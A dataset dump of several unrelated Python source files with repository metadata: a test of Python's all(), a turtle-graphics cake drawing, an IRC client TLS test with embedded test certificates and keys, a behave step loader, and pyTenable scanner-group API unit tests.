tests/lists/all.py
|
nanobowers/py2cr
|
b7deb8c227cf43ce0e1bf7d638d5b4c00b7e9bdb
|
[
"MIT"
] | 2
|
2021-12-27T03:05:30.000Z
|
2021-12-27T18:10:33.000Z
|
tests/lists/all.py
|
nanobowers/py2cr
|
b7deb8c227cf43ce0e1bf7d638d5b4c00b7e9bdb
|
[
"MIT"
] | 2
|
2021-12-27T16:35:46.000Z
|
2021-12-28T10:41:49.000Z
|
from typing import List, Dict, Tuple
empty_list : List[int] = []
empty_dict : Dict[str,int] = {}
empty_tuple = ()
l = [4,7,3,4,2,1]
v = all(l)
print(str(v).upper())
print(str(all(empty_list)).upper())
print(str(all(empty_dict)).upper())
print(str(all(empty_tuple)).upper())
print(str(all([False])).upper())
print(str(all([None])).upper())
print(str(all([0])).upper())
print(str(all([''])).upper())
print(str(all([empty_list])).upper())
print(str(all([empty_dict])).upper())
l = [0,empty_dict]
v = all(l)
print(str(v).upper())
| 22.083333
| 37
| 0.639623
| 91
| 530
| 3.626374
| 0.241758
| 0.266667
| 0.354545
| 0.436364
| 0.481818
| 0.433333
| 0.433333
| 0.333333
| 0.333333
| 0.333333
| 0
| 0.016529
| 0.086792
| 530
| 23
| 38
| 23.043478
| 0.665289
| 0
| 0
| 0.210526
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.052632
| 0
| 0.052632
| 0.578947
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
736bfbd08ea1809c044d6f2d593618f209e0def5
| 338
|
py
|
Python
|
dist/assets/code/seance1/gateau.py
|
Mistergix/deficode
|
6460ec3e22d36b67cef6815d9977fba973ab139b
|
[
"MIT"
] | null | null | null |
dist/assets/code/seance1/gateau.py
|
Mistergix/deficode
|
6460ec3e22d36b67cef6815d9977fba973ab139b
|
[
"MIT"
] | 10
|
2018-07-11T22:40:57.000Z
|
2018-11-24T21:05:14.000Z
|
dist/assets/code/seance1/gateau.py
|
Mistergix/deficode
|
6460ec3e22d36b67cef6815d9977fba973ab139b
|
[
"MIT"
] | null | null | null |
import turtle as trt
def faireGateau():
trt.color("yellow")
trt.right(90)
trt.forward(20)
trt.color('black')
trt.forward(45)
trt.color('pink')
trt.left(90)
trt.forward(50)
trt.right(90)
trt.forward(50)
trt.right(90)
trt.forward(100)
trt.right(90)
trt.forward(50)
trt.right(90)
trt.forward(50)
faireGateau()
trt.done()
| 13.52
| 20
| 0.686391
| 57
| 338
| 4.070175
| 0.333333
| 0.301724
| 0.310345
| 0.280172
| 0.517241
| 0.431034
| 0.431034
| 0.431034
| 0.431034
| 0.431034
| 0
| 0.091837
| 0.130178
| 338
| 24
| 21
| 14.083333
| 0.697279
| 0
| 0
| 0.45
| 0
| 0
| 0.044379
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.05
| true
| 0
| 0.05
| 0
| 0.1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
737fa2e51cc6b316b346c15125134ece6f9630f0
| 7,248
|
py
|
Python
|
irctest/client_tests/test_tls.py
|
delthas/irctest
|
c12c44b9938986608a8114cc21f1b5719cd110cb
|
[
"MIT"
] | 8
|
2017-11-01T17:43:13.000Z
|
2022-01-30T08:21:50.000Z
|
irctest/client_tests/test_tls.py
|
slingamn/irctest
|
6ff0c524420e9c981380a86eac88eb200dc9d0ee
|
[
"MIT"
] | 32
|
2016-12-01T09:23:58.000Z
|
2020-09-23T05:48:01.000Z
|
irctest/client_tests/test_tls.py
|
slingamn/irctest
|
6ff0c524420e9c981380a86eac88eb200dc9d0ee
|
[
"MIT"
] | 3
|
2017-11-14T03:54:39.000Z
|
2020-09-09T06:47:57.000Z
|
from irctest import tls
from irctest import cases
from irctest.exceptions import ConnectionClosed
from irctest.irc_utils.message_parser import Message
BAD_CERT = """
-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJAOd2PGU3RNwhMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
aWRnaXRzIFB0eSBMdGQwHhcNMTYwNzIwMDg0NjIwWhcNMTYwODE5MDg0NjIwWjBF
MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50
ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAqo1Xu+f7UmdtNPTNPLxfILf9j/kGNNHkfqVjMHXc9rNL+JoMQ3eTdy7x
BqrWmiCHNOBAeES9anF+2SAd0LiOD2gO6h8R/+s9ftNCmZJa6kCGLX1uf5rp85aD
YbqbalgQS6PtRQZHU7+XOtW/YOolpG/2omgQmZMLyEQKNseQ4VQnuIYZoJRmXLsK
eyLgWNbpz0CsLljEziTsOLYnX9n8T469+EWgFQIvWpd/jirNTSPGTc3HVRs9g7dy
fZNi7b0jjb0qhDCOR0Kvyl9I0ANz4uEX+z/ZYfsZFU4xV7vxrDNp4gSAu8bW5JQy
/jJOsGL/9pXthCsXxY0S/6PQK70DOQIDAQABo1AwTjAdBgNVHQ4EFgQUME3YXimi
RNBg6V0SWY/417o/2zIwHwYDVR0jBBgwFoAUME3YXimiRNBg6V0SWY/417o/2zIw
DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAPljmzqGfc4wcdkTFSSBg
BQzq/nUn16cTtRYaOOxAxCK4VFWY9MxxlcVlDUx1VtUPBJaUNqJ+xdIIdwBOH3O/
jwDIQMRVlXwolTZvXw/xoatpb20644bltvftJ+6TpXY6z673+5Pu7b8FjNpZd/qs
5MGsgkAGkNN6hVvOqVASMqaO5vv7UgrL1Dh4R//ADBhonBwEP4Ykz+Y8gDVXlfSx
ak4YDQfuB2+M8Y3Y9PgKNZclYEacXwV/ZIxfm7vkOPlKOEeyi9+PzCEJINWnoE08
HNsJTz9ijzsHiac6Xw07FwOBQ/3LRngfcgEOqS6W8vTC4vCkWb88mbLI4CUwi+n7
dw==
-----END CERTIFICATE-----
"""
BAD_KEY = """
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCqjVe75/tSZ200
9M08vF8gt/2P+QY00eR+pWMwddz2s0v4mgxDd5N3LvEGqtaaIIc04EB4RL1qcX7Z
IB3QuI4PaA7qHxH/6z1+00KZklrqQIYtfW5/munzloNhuptqWBBLo+1FBkdTv5c6
1b9g6iWkb/aiaBCZkwvIRAo2x5DhVCe4hhmglGZcuwp7IuBY1unPQKwuWMTOJOw4
tidf2fxPjr34RaAVAi9al3+OKs1NI8ZNzcdVGz2Dt3J9k2LtvSONvSqEMI5HQq/K
X0jQA3Pi4Rf7P9lh+xkVTjFXu/GsM2niBIC7xtbklDL+Mk6wYv/2le2EKxfFjRL/
o9ArvQM5AgMBAAECggEAPwbqxDMvij1Uezx4WBiY4wN7fegeJgjm8vJ1nGQCG10Z
Fy7+lzQqV+IOClO56M1aiezRhmCIyzxUDzMyMX7yaLkgwd5njXbGjAbQVuZiGK1t
qIPxANEj4fPea5BFfOA8bWeP+HEgjM+BuKljBxKghIsnzs68S7SupvyV9bZ8UPho
uGZdgFfwzJlYTrjuZg1xz3KSsjDC/MrTQ3QldYlqMLjFooZH74j+vh/HAesEUu+E
aNMw0sAYi70F5xqAjLjEdNxKz05fGEkh1PPeohe2hF+vCDMMf/Si2PIbA44Z1Sod
0cFCE1zQhuJ1yOLQJwQ7wgEh9/Zz+M4L2BLB7P5OPQKBgQDgu1I1kqv/1EGTd36v
IQbYr1MVLzqWVXCTd7wdOcWIO538veQ/n/ED183I7xDt3GCBvXIwdoC0e4C9ZCAl
mjFUAawWDeQ0Ficbop51v1R/b/iAxQaIq1StUKrahZO0jjyH96CHISSUNlEWoRE3
Zh9F+PQ7tz77swn+q4oTeiUcBwKBgQDCSDVBZHO5mUTeVlyA+G93l/AwRxihWnGl
5yF/ybqxrf27MywhN7fhZCvNtcYfWTbJOh6fwnzcj0YcrPQFJ2QYt9R+tSLhkXPs
X5aXHH9MQ+lItUQ0rmSv2D8MpIulwmUpZIoCKMs17Pb81EU4NSFwa2eJmdezAyHW
T9LlQReWvwKBgDqbP0YvWOGftfZCLGx5fXKWzmDw7yNzZqdei1VH0qbDfWEDGHor
OMxaxBTJm62cUiKjiBrxXIE00A8UBHop6wFQalNaDhAzUsGXOCHW4q9VQQY724da
vvtv1Q6l1S46Bbkjr95tmz93ps/y8y1yWWeDFBZapHc5arrae2i26uSTAoGACEhf
zNvleyInp3rzEqSEzAp0OPqu+CIM+k+yQ+prxStvx81Usk3XzwogO/Ll8WwyQ73w
lEsMW7LYAFz3Qkj9oXgk3QoH5Kn40Tj6CJM0ciHrDih8MerFbCHB/l39fiGdgnhA
0fq/PxtNJFZAZTcOp+ZMUbd3VLBrfuGEUjXGNa0CgYEAqtwfoXxUIPWfZ7ezNX2m
Cbnl6JGjjYoDgohr8lHcpIc+dVChLopHayUxECWIU03Todlrn2/KNwjUKtovSsty
h4WuPDAI4yh24GjaCZYGR5xcqPCy5CNjMLxdA7HsP+Gcr3eY5XS7noBrbC6IaA0j
9E+dB63zMDFOnC4UVg5rD28=
-----END PRIVATE KEY-----
"""
GOOD_FINGERPRINT = 'E1EE6DE2DBC0D43E3B60407B5EE389AEC9D2C53178E0FB14CD51C3DFD544AA2B'
GOOD_CERT = """
-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJAKtD9XMC1R0vMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
aWRnaXRzIFB0eSBMdGQwHhcNMTYwNzIwMDg0NjU0WhcNMTYwODE5MDg0NjU0WjBF
MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50
ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA0CZDv/ny3caI0a2r7P9qH3eyPYxd+Vz5i6YzCrVIqpq9PeWL9zf9IQoM
4TAOMS9VQOCq3HsSm0YKRC9tYflmBb03rriUExsFyd4CgAqKjYNJDrTWX23j+g5T
KHF+gYhQlIljQcvX1JVMHThS1nYCz6tnbBUsKrncW9LxnR0PydL+i8jS2SkPhe/z
t/VfWsTigSzz7xVEA54ow4sYbXVx1D6CNsjccTq/hfbRGkBWvYDZt7s/bj2h445Y
B1uVuIQygySkwGQMnNALZMUhiAsuCyV7PNNleGbIPUd0LExD6OQPVchof+tdiXq7
ndLsVv6Ufh1DhPDXtn9891sOkoj2cQIDAQABo1AwTjAdBgNVHQ4EFgQUtsTGgJ3E
rRxqF0doikKnpvDr/dswHwYDVR0jBBgwFoAUtsTGgJ3ErRxqF0doikKnpvDr/dsw
DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAWT2/0/ONY6XflNqGvn0i
XfB72FKIttuxMPiFKoV4czD2JWFZJ6eSTS+9NOUFPOzJfakl/F3a5Vy41hAF35o3
9N0jQt1ixkxi/BPEW2Twst4smnYgKHS4Lke8/EPn2gemxKEz7lpwICR/bFgOFIR5
OvQ2HQ+16yi8TsbB3QTUyVuixhYawlOpTtmDg9hho74+VA1oJ5bpx2maS2OTH35O
C458H4VAVNxtOIZF/zUhD8TEuTIElZtzJpghB9MdblaV8vs1fe2+ZWMXzSKOKj12
nGGz249IcunUMzjOzk6w7sVSZRWkwtwov5DsyaeW2+raig+NfF7sLECI57GWakVJ
Pg==
-----END CERTIFICATE-----
"""
GOOD_KEY = """
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDQJkO/+fLdxojR
ravs/2ofd7I9jF35XPmLpjMKtUiqmr095Yv3N/0hCgzhMA4xL1VA4KrcexKbRgpE
L21h+WYFvTeuuJQTGwXJ3gKACoqNg0kOtNZfbeP6DlMocX6BiFCUiWNBy9fUlUwd
OFLWdgLPq2dsFSwqudxb0vGdHQ/J0v6LyNLZKQ+F7/O39V9axOKBLPPvFUQDnijD
ixhtdXHUPoI2yNxxOr+F9tEaQFa9gNm3uz9uPaHjjlgHW5W4hDKDJKTAZAyc0Atk
xSGICy4LJXs802V4Zsg9R3QsTEPo5A9VyGh/612Jerud0uxW/pR+HUOE8Ne2f3z3
Ww6SiPZxAgMBAAECggEAMeb6lyv1bfYLFznr3gXeC21G7jqYzQ/dQ/20fvy3Ty+J
7yz5QWvK5ADk1ZgPzvrqFYPHctSOwWspSu+T6clBDF8w2lKmLW5tFNiFAO2GCidP
fJceTgKqhWipxyhui9+Cchn+Eegs9mpUtSyrr37bba5KPT9WN2gXzGvmQSSWhGwC
ewrJjh+HBpS3B006kqD9kOdgJYlmTayOaqD9WOH/ppFY8zNopEx27qqEph6WOA7W
84oUqm4JNabyXz7tRa/YsBUUqKmlBgxp0sKu5NttBPUi1+LpumjWIRj6M85NHliK
lCJgEkNriXMQ7joS0n0ZK+1cuKNr7hiGKwDoNUsfgQKBgQD0uB8KAgIjkgA+FRpr
cIQ35INPdkN8HkzZdg19nrQTwuh2Jo4SSbfm57KwyZBMnP2kHP6CMZNCycVXXj+r
1jo5ZFdAyz+MgUdTmTBXV/wH1YS6Cbp4KOv64eYT3/3cGUE5aBG0U5CqNaYq0XT7
CxPiF+pDRVDDQk+rBFz9gCKeWwKBgQDZvpd2DkVWvL0sk6pu9taPutKN145USzOn
j3SceLzL8Lu5nEfkW9O9EG0APVf8M7iq4JYF5Yzam94/pbLpSZHzYuEgNt1ee7TG
7cnxsKxQ9PDrvbElJGx0j0XRwG/CU3RJeDDmaUyosKjcYMhJujDk05Vm3RTLsii2
QiCvu4jwIwKBgQCXbl/2p2t/a1cvE4v3s/Z9R7BhuYLlCTLw1fZfJ5ezKscCZbVA
Z9Ge1v1iHDho0DS8Gxz6n4bKq2SsPawUv0nkPc0oUR0P6ueiOYcKZW2Vw3CQVnjG
5juwUZ0360GBszcDOPzLo3I/gVdD470Jo784Byh1XC0vxpbZ8qdATswdRQKBgDad
XXQZBD9LO8/QgfEvLIYEgAdfx61Q53Xhv4f3qLMmgI9/qXCXr7Y+RnjG6iix+GGz
zy1PdFLowYgJUaS99UOsy3a/DCtEsAUtY3ehrrbnmP4oKCR+zE04GnUP5XhCYmqD
IRDJ3JZ7KP+Nru7/KoBaqaCRV0P4PcnpMDWjvictAoGAWTFD2h/tsSWyHN2OyyBG
wmfusGVYB23RgQzXiLdlZOwWHZGON9dKEc9Pq6ddRArO01ewAKkcfieaLLpgb67C
Sw3oB/NsbUMkKze1zwXs9e2vcPt42vnRuQ75jU7Pb9p2NHpAdA4K/3CV00QzGA+e
El9iqRlAhgqaXc4Iz/Zxxhs=
-----END PRIVATE KEY-----
"""
class TlsTestCase(cases.BaseClientTestCase):
def testTrustedCertificate(self):
tls_config = tls.TlsConfig(
enable=True,
trusted_fingerprints=[GOOD_FINGERPRINT])
(hostname, port) = self.server.getsockname()
self.controller.run(
hostname=hostname,
port=port,
auth=None,
tls_config=tls_config,
)
self.acceptClient(tls_cert=GOOD_CERT, tls_key=GOOD_KEY)
m = self.getMessage()
def testUntrustedCertificate(self):
tls_config = tls.TlsConfig(
enable=True,
trusted_fingerprints=[GOOD_FINGERPRINT])
(hostname, port) = self.server.getsockname()
self.controller.run(
hostname=hostname,
port=port,
auth=None,
tls_config=tls_config,
)
self.acceptClient(tls_cert=BAD_CERT, tls_key=BAD_KEY)
with self.assertRaises(ConnectionClosed):
m = self.getMessage()
| 50.333333
| 85
| 0.875966
| 396
| 7,248
| 15.969697
| 0.724747
| 0.008539
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| 0.060721
| 0.060721
| 0.060721
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| 0.125056
| 0.072158
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| 143
| 86
| 50.685315
| 0.815316
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| 0.273381
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| 0.818709
| 0.774834
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| 0.007194
| 1
| 0.014388
| false
| 0
| 0.028777
| 0
| 0.05036
| 0.014388
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| 0
| 1
| null | 0
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| 0
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| 0
| 0
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| 0
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| 0
| 0
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| null | 1
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
739a8e106b990329a51ddde76594560df80b2ccf
| 286
|
py
|
Python
|
behave4cmd0/__all_steps__.py
|
jessingrass/behave
|
c5da3ddad284baf399b9596346652f0e557108d6
|
[
"BSD-2-Clause"
] | 22
|
2015-03-29T17:08:17.000Z
|
2021-12-21T17:27:20.000Z
|
behave4cmd0/__all_steps__.py
|
jessingrass/behave
|
c5da3ddad284baf399b9596346652f0e557108d6
|
[
"BSD-2-Clause"
] | null | null | null |
behave4cmd0/__all_steps__.py
|
jessingrass/behave
|
c5da3ddad284baf399b9596346652f0e557108d6
|
[
"BSD-2-Clause"
] | 12
|
2015-11-12T13:14:33.000Z
|
2021-05-25T13:51:46.000Z
|
# -*- coding: utf-8 -*-
"""
Import all step definitions of this step-library.
Step definitions are automatically registered in "behave.step_registry".
"""
# -- IMPORT STEP-LIBRARY: behave4cmd0
import behave4cmd0.command_steps
import behave4cmd0.note_steps
import behave4cmd0.log.steps
| 26
| 72
| 0.77972
| 36
| 286
| 6.111111
| 0.583333
| 0.231818
| 0.2
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| 0
| 0
| 0.035573
| 0.115385
| 286
| 10
| 73
| 28.6
| 0.833992
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| 1
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| 0
| 0
|
0
| 4
|
73adc308d8f64803e8c6e1c137de51ec8f643ca0
| 12,897
|
py
|
Python
|
tests/io/test_scanner_groups.py
|
allenmichael/pyTenable
|
8372cfdf3ced99de50227f6fbb37d6db2b26291e
|
[
"MIT"
] | null | null | null |
tests/io/test_scanner_groups.py
|
allenmichael/pyTenable
|
8372cfdf3ced99de50227f6fbb37d6db2b26291e
|
[
"MIT"
] | 1
|
2021-08-18T17:26:30.000Z
|
2021-08-18T17:26:30.000Z
|
tests/io/test_scanner_groups.py
|
allenmichael/pyTenable
|
8372cfdf3ced99de50227f6fbb37d6db2b26291e
|
[
"MIT"
] | null | null | null |
'''
test scanner_groups
'''
import uuid
import pytest
from tenable.errors import InvalidInputError, PermissionError, \
NotFoundError, UnexpectedValueError, ServerError
from tests.checker import check
@pytest.mark.vcr()
def test_add_scanner_to_group_group_id_typeerror(api):
'''
test to raise exception when type of group_id param does not match the expected type.
'''
with pytest.raises(TypeError):
api.scanner_groups.add_scanner('nope', 1)
@pytest.mark.vcr()
def test_add_scanner_to_group_scanner_id_typeerror(api):
'''
test to raise exception when type of scanner_id param does not match the expected type.
'''
with pytest.raises(TypeError):
api.scanner_groups.add_scanner(1, 'nope')
@pytest.mark.vcr()
def test_add_scanner_to_scanner_group_notfounderror(api):
'''
test to raise exception when scanner_id or group_id not found.
'''
with pytest.raises(NotFoundError):
api.scanner_groups.add_scanner(1, 1)
@pytest.mark.vcr()
def test_add_scanner_to_scanner_group_permissionerror(stdapi):
'''
test to raise exception when standard user try to add scanner to group.
'''
with pytest.raises(PermissionError):
stdapi.scanner_groups.add_scanner(1, 1)
@pytest.mark.vcr()
def test_add_scanner_to_group(api, scanner, scannergroup):
'''
test to add scanner to scanner_group
'''
api.scanner_groups.add_scanner(scannergroup['id'], scanner['id'])
@pytest.mark.vcr()
def test_create_scanner_group_name_typeerror(api):
'''
test to raise exception when type of name param does not match the expected type.
'''
with pytest.raises(TypeError):
api.scanner_groups.create(1)
@pytest.mark.vcr()
def test_create_scanner_group_type_typeerror(api):
'''
test to raise exception when type of group_type param does not match the expected type.
'''
with pytest.raises(TypeError):
api.scanner_groups.create(str(uuid.uuid4()), group_type=1)
@pytest.mark.vcr()
def test_create_scanner_group_type_unexpectedvalue(api):
'''
test to raise exception when group_type param value does not match the choices.
'''
with pytest.raises(UnexpectedValueError):
api.scanner_groups.create(str(uuid.uuid4()), group_type='normal')
@pytest.mark.vcr()
def test_create_scanner_group_permissionerror(stdapi):
'''
test to raise exception when standard user try to create scanner group.
'''
with pytest.raises(PermissionError):
stdapi.scanner_groups.create(str(uuid.uuid4()))
@pytest.mark.vcr()
def test_create_scanner_group(scannergroup):
'''
test to create scanner_group
'''
assert isinstance(scannergroup, dict)
scanner_group = scannergroup
check(scanner_group, 'default_permissions', int)
check(scanner_group, 'id', int)
check(scanner_group, 'last_modification_date', int)
check(scanner_group, 'name', str)
check(scanner_group, 'owner', str)
check(scanner_group, 'owner_id', int)
check(scanner_group, 'owner_name', str)
check(scanner_group, 'owner_uuid', 'uuid')
check(scanner_group, 'scan_count', int)
check(scanner_group, 'type', str)
check(scanner_group, 'uuid', 'uuid')
@pytest.mark.vcr()
def test_delete_scanner_group_id_typeerror(api):
'''
test to raise exception when type of group_id param does not match the expected type.
'''
with pytest.raises(TypeError):
api.scanner_groups.delete('nope')
@pytest.mark.vcr()
def test_delete_scanner_group_notfound(api):
'''
test to raise exception when user provided group_id not found.
'''
with pytest.raises(NotFoundError):
api.scanner_groups.delete(1)
@pytest.mark.vcr()
def test_delete_scanner_group_permissionserror(stdapi):
'''
test to raise exception when standard user try to delete scanner group.
'''
with pytest.raises(PermissionError):
stdapi.scanner_groups.delete(1)
@pytest.mark.vcr()
def test_delete_scanner_group(api, scannergroup):
'''
test to delete scanner_group
'''
api.scanner_groups.delete(scannergroup['id'])
@pytest.mark.vcr()
def test_remove_scanner_from_group_group_id_typeerror(api):
'''
test to raise exception when type of group_id param does not match the expected type.
'''
with pytest.raises(TypeError):
api.scanner_groups.delete_scanner('nope', 1)
@pytest.mark.vcr()
def test_remove_scanner_from_group_scanner_id_typeerror(api):
'''
test to raise exception when type of scanner_id param does not match the expected type.
'''
with pytest.raises(TypeError):
api.scanner_groups.delete_scanner(1, 'nope')
@pytest.mark.vcr()
def test_remove_scanner_from_scanner_group_notfounderror(api):
'''
test to raise exception when scanner_id or group_id not found.
'''
with pytest.raises(NotFoundError):
api.scanner_groups.delete_scanner(1, 1)
@pytest.mark.vcr()
def test_remove_scanner_from_scanner_group_permissionserror(stdapi):
'''
test to raise exception when standard user try to remove scanner from scanner group.
'''
with pytest.raises(PermissionError):
stdapi.scanner_groups.delete_scanner(1, 1)
@pytest.mark.vcr()
def test_remove_scanner_from_scanner_group(api, scanner, scannergroup):
'''
test to remove scanner from scanner group
'''
api.scanner_groups.add_scanner(scannergroup['id'], scanner['id'])
api.scanner_groups.delete_scanner(scannergroup['id'], scanner['id'])
@pytest.mark.vcr()
def test_scannergroup_details_group_id_typeerror(api):
'''
test to raise exception when type of group_id param does not match the expected type.
'''
with pytest.raises(TypeError):
api.scanner_groups.details('nope')
@pytest.mark.vcr()
@pytest.mark.xfail(raises=ServerError)
def test_scannergroup_details_notfounderror(api):
'''
test to raise exception when group_id not found.
'''
with pytest.raises(NotFoundError):
api.scanner_groups.details(1)
@pytest.mark.vcr()
def test_scannergroup_details_permissionerror(stdapi):
'''
test to raise exception when standard user try to get details of scanner group.
'''
with pytest.raises(PermissionError):
stdapi.scanner_groups.details(1)
@pytest.mark.vcr()
def test_scannergroup_details(api, scannergroup):
'''
test to get details of scanner group.
'''
scanner_group = api.scanner_groups.details(scannergroup['id'])
assert scanner_group['id'] == scannergroup['id']
scanner_group = scannergroup
check(scanner_group, 'default_permissions', int)
check(scanner_group, 'id', int)
check(scanner_group, 'last_modification_date', int)
check(scanner_group, 'name', str)
check(scanner_group, 'owner', str)
check(scanner_group, 'owner_id', int)
check(scanner_group, 'owner_name', str)
check(scanner_group, 'owner_uuid', 'uuid')
check(scanner_group, 'scan_count', int)
check(scanner_group, 'type', str)
check(scanner_group, 'uuid', 'uuid')
@pytest.mark.vcr()
def test_edit_scanner_group_id_typeerror(api):
'''
test to raise exception when type of group_id param does not match the expected type.
'''
with pytest.raises(TypeError):
api.scanner_groups.edit('nope', str(uuid.uuid4()))
@pytest.mark.vcr()
def test_edit_scanner_group_name_typeerror(api):
'''
test to raise exception when type of name param does not match the expected type.
'''
with pytest.raises(TypeError):
api.scanner_groups.edit(1, 1)
@pytest.mark.vcr()
@pytest.mark.xfail(raises=ServerError)
def test_edit_scanner_group_notfounderror(api):
'''
test to raise exception when group_id not found.
'''
with pytest.raises(NotFoundError):
api.scanner_groups.edit(1, str(uuid.uuid4()))
@pytest.mark.vcr()
def test_edit_scanner_group_permissionerror(stdapi):
'''
test to raise exception when standard user try to edit name of scanner group.
'''
with pytest.raises(PermissionError):
stdapi.scanner_groups.edit(1, str(uuid.uuid4()))
@pytest.mark.vcr()
def test_edit_scanner_group(api, scannergroup):
'''
test to edit scanner group
'''
api.scanner_groups.edit(scannergroup['id'], str(uuid.uuid4()))
@pytest.mark.vcr()
def test_list_scanner_groups(api):
'''
test to list scanner group
'''
groups = api.scanner_groups.list()
assert isinstance(groups, list)
for group in groups:
check(group, 'creation_date', int)
check(group, 'default_permissions', int)
check(group, 'id', int)
check(group, 'last_modification_date', int)
check(group, 'name', str)
check(group, 'owner', str)
check(group, 'owner_id', int)
check(group, 'owner_name', str)
check(group, 'owner_uuid', 'uuid')
check(group, 'scan_count', int)
check(group, 'scanner_count', int)
check(group, 'scanner_id', int)
check(group, 'scanner_uuid', 'uuid')
check(group, 'shared', int)
check(group, 'type', str)
check(group, 'user_permissions', int)
check(group, 'uuid', 'uuid')
@pytest.mark.vcr()
def test_list_scanner_groups_permissionerror(stdapi):
'''
test to raise exception when standard user try to get list of scanner groups.
'''
with pytest.raises(PermissionError):
stdapi.scanner_groups.list()
@pytest.mark.vcr()
def test_list_scanners_in_scanner_group_id_typeerror(api):
'''
test to raise exception when type of group_id param does not match the expected type.
'''
with pytest.raises(TypeError):
api.scanner_groups.list_scanners('nope')
@pytest.mark.vcr()
def test_list_scanners_in_scanner_group_permissionerror(stdapi, scannergroup):
'''
test to raise exception when standard user try to get list of scanners in scanner groups.
'''
with pytest.raises(PermissionError):
stdapi.scanner_groups.list_scanners(scannergroup['id'])
@pytest.mark.vcr()
def test_list_scanners_in_scanner_group(api, scannergroup, scanner):
'''
test to get list of scanners in scanner group
'''
api.scanner_groups.add_scanner(scannergroup['id'], scanner['id'])
scanners = api.scanner_groups.list_scanners(scannergroup['id'])
assert isinstance(scanners, list)
for scanner_detail in scanners:
check(scanner_detail, 'distro', str, allow_none=True)
check(scanner_detail, 'engine_version', str)
check(scanner_detail, 'group', bool)
check(scanner_detail, 'id', int)
check(scanner_detail, 'key', str)
check(scanner_detail, 'last_connect', int)
check(scanner_detail, 'last_modification_date', int)
check(scanner_detail, 'linked', int)
check(scanner_detail, 'loaded_plugin_set', str)
check(scanner_detail, 'name', str)
check(scanner_detail, 'num_hosts', int)
check(scanner_detail, 'num_scans', int)
check(scanner_detail, 'num_sessions', int)
check(scanner_detail, 'num_tcp_sessions', int)
check(scanner_detail, 'owner', str)
check(scanner_detail, 'owner_id', int)
check(scanner_detail, 'owner_name', str)
check(scanner_detail, 'owner_uuid', 'uuid')
check(scanner_detail, 'platform', str)
check(scanner_detail, 'pool', bool)
check(scanner_detail, 'scan_count', int)
check(scanner_detail, 'source', str)
check(scanner_detail, 'status', str)
check(scanner_detail, 'timestamp', int)
check(scanner_detail, 'type', str)
check(scanner_detail, 'ui_build', str)
check(scanner_detail, 'ui_version', str)
check(scanner_detail, 'uuid', 'uuid')
api.scanner_groups.delete_scanner(scannergroup['id'], scanner['id'])
@pytest.mark.vcr()
def test_edit_routes_in_scanner_group_invalidinputerror(api, scannergroup):
'''
test to raise exception when values in routes are invalid
'''
with pytest.raises(InvalidInputError):
api.scanner_groups.edit_routes(scannergroup['id'], ['127.0.0.256'])
@pytest.mark.vcr()
def test_edit_routes_in_scanner_group_typeerror(api, scannergroup):
'''
test to raise exception when type of routes param does not match the expected type.
'''
with pytest.raises(TypeError):
api.scanner_groups.edit_routes(scannergroup['id'], '127.0.0.1')
@pytest.mark.vcr()
def test_edit_routes_in_scanner_group_success(api, scannergroup):
'''
test to edit routes in scanner group
'''
api.scanner_groups.edit_routes(scannergroup['id'], ['127.0.0.1'])
@pytest.mark.vcr()
def test_list_routes_in_scanner_group_success(api, scannergroup):
'''
test to list routes in scanner group
'''
api.scanner_groups.edit_routes(scannergroup['id'], ['127.0.0.1'])
routes = api.scanner_groups.list_routes(scannergroup['id'])
assert routes[0]['route'] == '127.0.0.1'
| 34.300532
| 93
| 0.701946
| 1,699
| 12,897
| 5.113596
| 0.069453
| 0.092541
| 0.055364
| 0.064457
| 0.834945
| 0.757482
| 0.718117
| 0.69268
| 0.659415
| 0.622468
| 0
| 0.005876
| 0.181825
| 12,897
| 375
| 94
| 34.392
| 0.817475
| 0.189812
| 0
| 0.424107
| 0
| 0
| 0.078191
| 0.008901
| 0
| 0
| 0
| 0
| 0.022321
| 1
| 0.165179
| false
| 0
| 0.017857
| 0
| 0.183036
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
|
0
| 4
|
